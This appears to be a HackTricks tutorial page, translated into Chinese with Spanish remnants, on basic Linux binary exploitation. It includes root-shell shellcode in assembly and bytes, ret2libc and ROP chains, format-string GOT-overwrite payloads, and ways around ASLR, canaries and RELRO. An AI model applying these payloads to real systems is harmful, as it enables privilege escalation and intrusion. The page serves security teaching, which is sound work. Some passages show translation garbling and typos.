.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Basic) (SPA)
Linux Exploiting (Basic) (SPA)
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs
- 加入 💬 Discord群 或 电报群 或 关注我们的Twitter 🐦 @hacktricks_live。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
ASLR
Aleatorización de direcciones
Deactivate Global Address Space Layout Randomization (ASLR) (root):
echo 0 > /proc/sys/kernel/randomize_va_space
Reactivate Global Address Space Layout Randomization: echo 2 > /proc/sys/kernel/randomize_va_space
Deactivate for a single execution (no root required):
setarch `arch` -R ./example arguments
setarch `uname -m` -R ./example arguments
Deactivate stack execution protection
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack example.c -o example
Core file
ulimit -c unlimited
gdb /exec core_file
/etc/security/limits.conf -> * soft core unlimited
Text
Data
BSS
Heap
Stack
BSS Section: Uninitialized global or static variables
static int i;
数据部分:全局或静态初始化的变量
int i = 5;
文本部分:指令代码(opcodes)
堆部分:动态分配的缓冲区(malloc(),calloc(),realloc())
栈部分:堆栈(传递的参数,环境字符串(env),本地变量...)
1.栈溢出
缓冲区溢出,堆栈溢出,堆栈破坏
段错误:当尝试访问未分配给进程的内存地址时发生。
要获取程序内函数的地址,可以执行以下操作:
objdump -d ./PROGRAMA | grep FUNCION
ROP
调用 sys_execve
{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}
2.SHELLCODE
查看内核中断:cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; 清空 eax
xor ebx, ebx ; ebx = 0,因为没有参数要传递
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; 执行 syscall
nasm -f elf assembly.asm —> 返回一个 .o 文件
ld assembly.o -o shellcodeout —> 生成一个包含汇编代码的可执行文件,可以用 objdump 提取 opcodes
objdump -d -Mintel ./shellcodeout —> 查看是否为我们的 shellcode 并提取 OpCodes
验证 shellcode 是否有效
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
为了确保系统调用被正确执行,应编译前一个程序并在strace ./PROGRAMA_COMPILADO中看到系统调用。
在创建shellcode时,可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码,并将EIP放入堆栈。在call指令之后,我们已经放入了所需的字符串,因此可以使用该EIP指向字符串,并继续执行代码。
EJ TRICK (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
使用堆栈(/bin/sh)的基本ESP:
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
EJ FNSTENV指令用于将FPU环境保存到指定的内存位置。
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Hunter:
这是一小段代码,用于遍历与进程关联的内存页面,以寻找其中存储的shellcode(查找shellcode中的某个签名)。在只有少量空间用于注入代码的情况下非常有用。
多态Shellcode
这些是加密的shellcode,其中包含一小段代码用于解密并跳转到它,使用Call-Pop技巧,这是一个凯撒加密的示例:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
- 攻击帧指针 (EBP)
在我们可以修改 EBP 但无法修改 EIP 的情况下非常有用。
已知在退出函数时会执行以下汇编代码:
movl %ebp, %esp
popl %ebp
ret
以这种方式,可以在从另一个函数调用的函数(fvuln)中修改 EBP,当调用 fvuln 的函数结束时,其 EIP 可能会被修改。
在 fvuln 中,可以引入一个假的 EBP,指向一个包含 shellcode 地址 + 4 的位置(需要加上 4 是因为 pop 指令)。因此,当退出函数时,ESP 中将包含 &(&Shellcode)+4 的值,通过 pop 指令,ESP 将减去 4,指向 shellcode 的地址,从而执行 ret 指令时跳转到 shellcode。
Exploit:
&Shellcode + "AAAA" + SHELLCODE + 填充 + &(&Shellcode)+4
Off-by-One Exploit
只允许修改 EBP 的最不显著字节。可以执行类似上述的攻击,但存储 shellcode 地址的内存必须与 EBP 的前三个字节共享。
4. Return to Libc 方法
当栈不可执行或留下很小的缓冲区以进行修改时,这种方法非常有用。
ASLR 导致每次执行时函数加载到内存中的位置不同。因此,在这种情况下,此方法可能不起作用。对于远程服务器,由于程序在同一地址上持续运行,因此此方法可能很有用。
- cdecl(C 声明) 将参数放入栈中,并在退出函数时清理堆栈
- stdcall(标准调用) 将参数放入堆栈中,由被调用函数清理堆栈
- fastcall 将前两个参数放入寄存器中,其余参数放入堆栈中
将 libc 中 system 函数的地址放入,并将字符串 “/bin/sh” 作为参数传递,通常从环境变量中传递。此外,使用 exit 函数的地址,以便在不再需要 shell 时退出程序而不会出现问题(并写入日志)。
export SHELL=/bin/sh
要找到所需的地址,可以在 GDB 中查看:
p system
p exit
rabin2 -i 可执行文件 —> 给出程序加载时使用的所有函数的地址
(在 start 或某个断点内):x/500s $esp —> 在这里搜索字符串 /bin/sh
一旦获得这些地址,exploit 如下:
“A” * EBP 距离 + 4(EBP:最好是真实的 EBP,以避免段错误) + system 地址(将覆盖 EIP) + exit 地址(从 system(“/bin/sh”) 退出时将调用此函数,因为堆栈的前 4 个字节被视为要执行的下一个 EIP 地址) + “/bin/sh” 地址(作为传递给 system 的参数)
这样,EIP 将被覆盖为 system 函数的地址,该函数将以字符串 “/bin/sh” 作为参数,并在退出该函数时执行 exit() 函数。
可能会遇到某个函数地址的某个字节为 null 或空格 (\x20) 的情况。在这种情况下,可以反汇编该函数之前的地址,因为可能会有多个 NOP,这样可以调用其中一个而不是直接调用函数(例如使用 > x/8i system-4)。
这种方法有效,因为使用 ret 指令而不是 call 来调用 system 函数时,函数会将前 4 个字节视为要返回的 EIP 地址。
使用此方法的一个有趣技巧是调用 strncpy() 将 payload 从栈移动到堆,然后使用 gets() 执行该 payload。
另一个有趣的技巧是使用 mprotect(),它允许为内存的任何部分分配所需的权限。它适用于 BDS、MacOS 和 OpenBSD,但不适用于 Linux(控制不允许同时授予写入和执行权限)。通过此攻击,可以将堆栈重新配置为可执行。
函数链接
基于上述技术,这种 exploit 形式包括:
填充 + &Function1 + &pop;ret; + &arg_fun1 + &Function2 + &pop;ret; + &arg_fun2 + …
这样可以链接要调用的函数。此外,如果要使用具有多个参数的函数,可以放置所需的参数(例如 4 个)并放置这 4 个参数,并查找包含 opcodes 的地址:pop, pop, pop, pop, ret —> objdump -d 可执行文件
通过伪造帧进行链接(EBP 链接)
利用可以操纵 EBP 的能力,通过 EBP 和 "leave;ret" 来链接多个函数的执行。
填充
- 在 EBP 中放置指向的假 EBP:2nd fake EBP + 要执行的函数:(&system() + &leave;ret + &“/bin/sh”)
- 在 EIP 中放置指向 &(leave;ret) 的地址
启动 shellcode,其中包含指向 shellcode 下一部分的地址,例如:2nd fake EBP + &system() + &(leave;ret;) + &”/bin/sh”
第二个 EBP 将是:3rd fake EBP + &system() + &(leave;ret;) + &”/bin/ls”
可以在可以访问的内存部分中无限重复此 shellcode,从而轻松地将 shellcode 分割为小块内存。
(通过混合之前看到的 EBP 和 ret2lib 的漏洞来链接函数的执行)
5. 补充方法
Ret2Ret
当无法将堆栈地址放入 EIP(检查 EIP 不包含 0xbf)或无法计算 shellcode 的位置时,这种方法非常有用。但是,易受攻击的函数接受一个参数(shellcode 将在此处)。
通过将 EIP 更改为指向 ret 的地址,将加载下一个地址(即函数的第一个参数的地址)。也就是说,将加载 shellcode。
Exploit 如下:SHELLCODE + 填充(直到 EIP) + &ret(堆栈的下几个字节指向 shellcode 的开头,因为将参数传递给堆栈中的地址)
似乎像 strncpy 这样的函数在完成后会从堆栈中删除存储 shellcode 的地址,从而使此技术无效。也就是说,传递给函数的参数地址(保存 shellcode 的地址)被 0x00 修改,因此在第二个 ret 调用时会遇到 0x00,程序将终止。
**Ret2PopRet**
如果我们无法控制第一个参数,但可以控制第二个或第三个参数,我们可以用指向pop-ret或pop-pop-ret的地址来覆盖EIP。
Murat技术
在Linux中,所有程序都映射到0xbfffffff开始。
通过观察Linux中新进程堆栈的构建方式,可以开发一种利用程序在仅有shellcode变量的环境中启动的exploit。因此,可以计算出shellcode变量的地址为:addr = 0xbfffffff - 4 - strlen(完整可执行文件名) - strlen(shellcode)
这样就可以轻松地获取包含shellcode的环境变量的地址。
这是因为execle函数允许创建仅包含所需环境变量的环境。
跳转到ESP:Windows风格
由于ESP始终指向堆栈的开头,这种技术涉及用jmp esp或call esp的地址替换EIP。这样,在覆盖EIP后,shellcode将被保存,因为在执行ret后,ESP将指向下一个地址,即shellcode所在的位置。
如果Windows或Linux未启用ASLR,则可以调用存储在共享对象中的jmp esp或call esp。如果启用了ASLR,则可以在受影响的程序内部搜索。
此外,将shellcode放在EIP损坏后而不是堆栈中间,使得在函数执行过程中执行的push或pop指令不会触及shellcode(如果放在函数堆栈中间可能会发生)。
类似地,如果我们知道函数返回存储shellcode的地址,可以调用call eax或jmp eax (ret2eax)。
ROP(Return Oriented Programming)或借用代码块
被调用的代码块称为gadgets。
这种技术涉及通过ret2libc技术和pop,ret的使用来链接不同函数的调用。
在某些处理器架构中,每个指令是32位的一组(例如MIPS)。然而,在Intel中,指令的大小是可变的,多个指令可以共享一组位,例如:
movl $0xe4ff, -0x(%ebp) —> 包含字节0xffe4,也可以被解释为:jmp *%esp
这样就可以执行一些实际上不在原始程序中的指令。
ROPgadget.py有助于在二进制文件中找到值。
该程序还可用于创建payloads。您可以提供要提取ROPs的库,它将生成一个Python payload,您只需提供该库的地址,即可使用生成的payload作为shellcode。此外,由于它使用系统调用,它实际上不在堆栈上执行任何操作,而是仅保存将通过ret执行的ROP地址。要使用此payload,必须通过ret指令调用payload。
整数溢出
当变量无法处理传递给它的如此大的数字时,就会发生这种类型的溢出,可能是由于有符号和无符号变量之间的混淆,例如:
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
在上面的示例中,我们看到程序期望有2个参数。第一个是下一个字符串的长度,第二个是字符串本身。
如果我们将第一个参数设为负数,将会显示len < 256,我们会通过这个过滤器,并且strlen(buffer)也会小于l,因为l是无符号整数,会非常大。
这种溢出类型并不是为了在程序进程中写入内容,而是为了绕过设计不良的过滤器以利用其他漏洞。
未初始化的变量
未初始化的变量可能会取得任意值,观察这一点可能会很有趣。它可能会取决于前一个函数中某个变量的值,而这个变量可能会受到攻击者的控制。
格式化字符串
在C语言中,printf
是一个用于打印字符串的函数。该函数期望的第一个参数是带有格式化符号的原始文本。接下来期望的参数是要替换原始文本中格式化符号的值。
当攻击者的文本被放置为该函数的第一个参数时,就会出现漏洞。攻击者可以利用printf格式化字符串的能力来编写特殊输入,从而在任何地址写入任何数据。通过这种方式,可以执行任意代码。
格式化符号:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
%n
写入的是已写入字节数在指定地址。写入与我们需要写入的十六进制数相同的字节数是您可以写入任何数据的方法。
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
GOT(全局偏移表)/ PLT(过程链接表)
这是包含程序使用的外部函数地址的表格。
使用以下命令获取该表的地址:objdump -s -j .got ./exec
观察在 GEF 中加载可执行文件后,您可以看到在 GOT 中的函数:gef➤ x/20x 0xDIR_GOT
使用 GEF,您可以开始调试会话并执行 got
以查看 got 表:
在二进制文件中,GOT 包含函数的地址或将加载函数地址的 PLT 部分的地址。此漏洞利用的目标是覆盖稍后将执行的函数的 GOT 条目,使用 system
函数的 PLT 地址。理想情况下,您将覆盖将由您控制参数的函数的 GOT(因此您将能够控制发送到系统函数的参数)。
如果脚本未使用 system
,则系统函数将不会在 GOT 中有条目。在这种情况下,您需要首先泄漏 system
函数的地址。
过程链接表是 ELF 文件中的只读表,存储所有需要解析的必要符号。当调用这些函数之一时,GOT 将重定向流到 PLT,以便解析函数的地址并将其写入 GOT。然后,下次对该地址执行调用时,函数将直接调用,无需解析。
您可以使用 objdump -j .plt -d ./vuln_binary
查看 PLT 地址。
利用流程
如前所述,目标是覆盖稍后将调用的函数在 GOT 表中的地址。理想情况下,我们可以将地址设置为位于可执行部分的 shellcode,但您很可能无法在可执行部分编写 shellcode。因此,另一种选择是覆盖一个从用户接收其参数的函数,并将其指向 system
函数。
通常,编写地址需要两个步骤:首先写入地址的 2 字节,然后写入另外 2 字节。为此,使用 $hn
。
HOB 是地址的 2 个高字节
LOB 是地址的 2 个低字节
因此,由于格式字符串的工作方式,您需要首先写入 [HOB,LOB] 中较小的一个,然后再写入另一个。
如果 HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
如果 HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
格式字符串漏洞模板
您可以在此处找到使用格式字符串利用 GOT 的模板:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
.fini_array
本质上,这是一个在程序完成之前将被调用的函数结构。如果您可以通过跳转到一个地址调用您的 shellcode,或者在需要再次返回到主函数以第二次利用格式字符串的情况下,这将非常有趣。
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
请注意,这不会创建一个永久循环,因为当你回到主函数时,canary会注意到,栈的末尾可能已经被破坏,函数不会再次被调用。因此,通过这种方法,你将能够多执行一次漏洞。
格式化字符串以转储内容
格式化字符串也可以被滥用来从程序内存中转储内容。
例如,在以下情况下,栈中有一个指向标志的本地变量。如果你找到内存中指向标志的指针在哪里,你可以使printf访问该地址并打印标志:
所以,标志在0xffffcf4c
从泄漏中,你可以看到指向标志的指针在第8个参数中:
因此,访问第8个参数,你可以获得标志:
请注意,根据先前的利用并意识到你可以泄漏内容,你可以将指针设置到printf
加载的可执行部分并将其完全转储!
DTOR
{% hint style="danger" %} 现在很少见到带有dtor部分的二进制文件。 {% endhint %}
析构函数是在程序结束之前执行的函数。
如果你设法将一个shellcode的地址写入__DTOR_END__
,那么它将在程序结束之前执行。
获取此部分的地址:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
通常你会在值ffffffff
和00000000
之间找到DTOR部分。因此,如果你只看到这些值,这意味着没有任何函数注册。因此,覆盖00000000
的地址为shellcode的地址以执行它。
格式化字符串到缓冲区溢出
sprintf将格式化字符串移动到一个变量中。因此,您可以滥用字符串的格式来导致变量中的缓冲区溢出。
例如,负载%.44xAAAA
将在变量中写入44B+"AAAA",这可能会导致缓冲区溢出。
__atexit结构
{% hint style="danger" %} 现在很奇怪去利用这个。 {% endhint %}
atexit()
是一个函数,其他函数作为参数传递给它。这些函数将在执行**exit()
或main的返回时执行。
如果您可以修改其中任何一个函数的地址**,使其指向shellcode,那么您将控制该进程,但这目前更加复杂。
目前要执行的函数的地址被隐藏在几个结构后面,最终指向的地址不是函数的地址,而是使用XOR加密和随机密钥进行位移。因此,目前这种攻击向量在至少在x86和x64_86上不太有用。
加密函数是**PTR_MANGLE
。其他架构,如m68k、mips32、mips64、aarch64、arm、hppa... 不实现加密函数,因为它返回与输入相同的值**。因此,这些架构可以通过这种向量进行攻击。
setjmp()和longjmp()
{% hint style="danger" %} 现在很奇怪去利用这个。 {% endhint %}
Setjmp()
允许保存上下文(寄存器)
longjmp()
允许恢复上下文。
保存的寄存器是:EBX, ESI, EDI, ESP, EIP, EBP
问题在于EIP和ESP是通过**PTR_MANGLE
函数传递的,因此易受攻击的架构与上述相同**。
它们对错误恢复或中断很有用。
但根据我所了解,其他寄存器没有受到保护,因此如果在被调用的函数内部有call ebx
、call esi
或call edi
,则可以接管控制。或者还可以修改EBP以修改ESP。
VTable和VPTR在C++中
每个类都有一个Vtable,它是一个指向方法的数组。
每个类的对象都有一个VPtr,它是其类数组的指针。VPtr是每个对象头部的一部分,因此如果覆盖了VPtr,它可以被修改为指向一个虚拟方法,以便执行函数时会转到shellcode。
预防措施和规避
ASLR并非完全随机
PaX将进程的地址空间分为3组:
已初始化和未初始化的代码和数据:.text、.data和.bss —> 变量delta_exec中的16位熵,此变量在每个进程中随机初始化,并添加到初始地址中
由mmap()和共享库分配的内存 —> 16位,delta_mmap
堆栈 —> 24位,delta_stack —> 实际上是11位(从第10到第20字节) —> 对齐到16字节 —> 堆栈的实际地址有524,288个可能值
环境变量和参数在堆栈上的偏移量小于一个缓冲区。
Return-into-printf
这是一种将缓冲区溢出转换为格式字符串错误的技术。它涉及替换EIP以指向函数的printf,并将操纵的格式字符串作为参数传递给它,以获取有关进程状态的值。
对库的攻击
库的位置具有16位随机性 = 65636个可能地址。如果一个易受攻击的服务器调用fork(),则内存地址空间将在子进程中复制并保持不变。因此,可以尝试对libc的usleep()函数进行暴力破解,将“16”作为参数传递,以便在响应时间超过正常时间时找到该函数。一旦知道该函数的位置,就可以获取delta_mmap并计算其他值。
要确保ASLR有效,唯一的方法是使用64位架构。在那里,没有暴力攻击。
StackGuard和StackShield
StackGuard在EIP之前插入 —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> 仍然容易受到recv()、memcpy()、read()、bcoy()的攻击,不保护EBP
StackShield比StackGuard更复杂
它在一个表中保存所有返回EIP的地址,以便溢出不会造成任何损害。此外,可以比较这两个地址以查看是否发生了溢出。
还可以将返回地址与限制值进行比较,因此如果EIP指向与通常不同的位置,如数据空间,就会知道。但这可以通过Ret-to-lib、ROP或ret2ret绕过。
正如您所看到的,stackshield也不保护本地变量。
Stack Smash Protector (ProPolice) -fstack-protector
在EBP之前放置canary。重新排列本地变量,使缓冲区位于最高位置,因此无法覆盖其他变量。
此外,它在堆栈上方(在本地变量上方)进行安全复制传递的参数,并使用这些副本作为参数。
不能保护少于8个元素的数组或用户结构中的缓冲区。
canary是从“/dev/urandom”中获取的随机数,否则为0xff0a0000。它存储在TLS(线程本地存储)中。线程共享相同的内存空间,TLS是每个线程的全局或静态变量的区域。但是,原则上这些变量是从父进程复制的,尽管子进程可能修改这些数据而不会影响父进程或其他子进程的数据。问题在于,如果使用fork()但没有创建新的canary,则所有进程(父进程和子进程)都使用相同的canary。在i386中,它存储在gs:0x14,在x86_64中,它存储在fs:0x28
此保护会定位具有可能受到攻击的缓冲区的函数,并在函数开头插入代码以放置canary,并在末尾插入代码以进行检查。
fork()函数会精确复制父进程,因此如果Web服务器调用fork(),可以逐字节进行暴力破解,直到找到正在使用的canary。
如果在fork()后使用execve()函数,则会覆盖空间,攻击将不再可能。vfork()允许执行子进程而不创建副本,直到子进程尝试写入时才创建副本。
只读重定位(RELRO)
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
没有relro:
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
对于没有启用 relro 的二进制文件,我们可以看到 fgets
的 got
表地址为 0x404018
。查看内存映射,我们发现它位于 0x404000
和 0x405000
之间,具有权限 rw
,这意味着我们可以读取和写入它。对于启用 relro 的二进制文件,我们看到二进制运行时的 got
表地址(启用了 pie,因此此地址会更改)为 0x555555557fd0
。在该二进制文件的内存映射中,它位于 0x0000555555557000
和 0x0000555555558000
之间,具有内存权限 r
,这意味着我们只能从中读取。
那么如何绕过呢?我通常使用的典型绕过方法是不要写入 relro 导致只读的内存区域,并找到另一种获取代码执行的方式。
请注意,为了实现这一点,二进制文件在执行之前需要知道函数的地址:
- 惰性绑定:在第一次调用函数时搜索函数的地址。因此,在执行期间 GOT 需要具有写权限。
- 立即绑定:函数的地址在执行开始时解决,然后对敏感部分(如 .got、.dtors、.ctors、.dynamic、.jcr)给予只读权限。
`**
-z relro**
y**
-z now`**
要检查程序是否使用立即绑定,可以执行以下操作:
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
当二进制文件加载到内存中并首次调用函数时,会跳转到 PLT(Procedure Linkage Table),然后跳转(jmp)到 GOT,并发现该条目尚未解析(包含 PLT 的下一个地址)。因此,会调用 Runtime Linker 或 rtfd 来解析地址并将其保存在 GOT 中。
当调用函数时,会调用 PLT,它包含存储函数地址的 GOT 的地址,因此会将流程重定向到那里,从而调用函数。然而,如果这是第一次调用该函数,则 GOT 中包含的是 PLT 的下一条指令,因此流程会继续执行 PLT 的代码(rtfd),并获取函数地址,将其保存在 GOT 中并调用它。
在将二进制文件加载到内存中时,编译器告诉它在运行程序时应该加载的数据的偏移量。
懒绑定(Lazy binding)—> 第一次调用函数时会查找函数地址,因此 GOT 具有写入权限,以便在查找时将其保存在那里,无需再次查找。
立即绑定(Bind now)—> 在加载程序时查找函数地址,并将 .got、.dtors、.ctors、.dynamic、.jcr 等部分的权限更改为只读。-z relro 和 -z now
尽管如此,通常程序并未使用这些选项,因此这些攻击仍然可能发生。
readelf -l /proc/ID_PROC/exe | grep BIND_NOW —> 用于检查是否使用 BIND NOW
Fortify Source -D_FORTIFY_SOURCE=1 或 =2
尝试识别不安全地从一个地方复制到另一个地方的函数,并将该函数更改为安全函数。
例如:
char buf[16];
strcpy(but, source);
它将识别为不安全,并将 strcpy() 更改为 __strcpy_chk(),使用缓冲区的大小作为最大要复制的大小。
=1 或 =2 之间的区别是:
第二个不允许 %n 来自具有写入权限的部分。此外,只有在使用前面的参数时才能使用参数直接访问,也就是说,只有在使用了 %2$d 和 %1$d 之后才能使用 %3$d。
要显示错误消息,使用 argv[0],因此如果将其设置为另一个位置的地址(如全局变量),错误消息将显示该变量的内容。第191页
Libsafe 替换
通过以下方式激活:LD_PRELOAD=/lib/libsafe.so.2
或
“/lib/libsave.so.2” > /etc/ld.so.preload
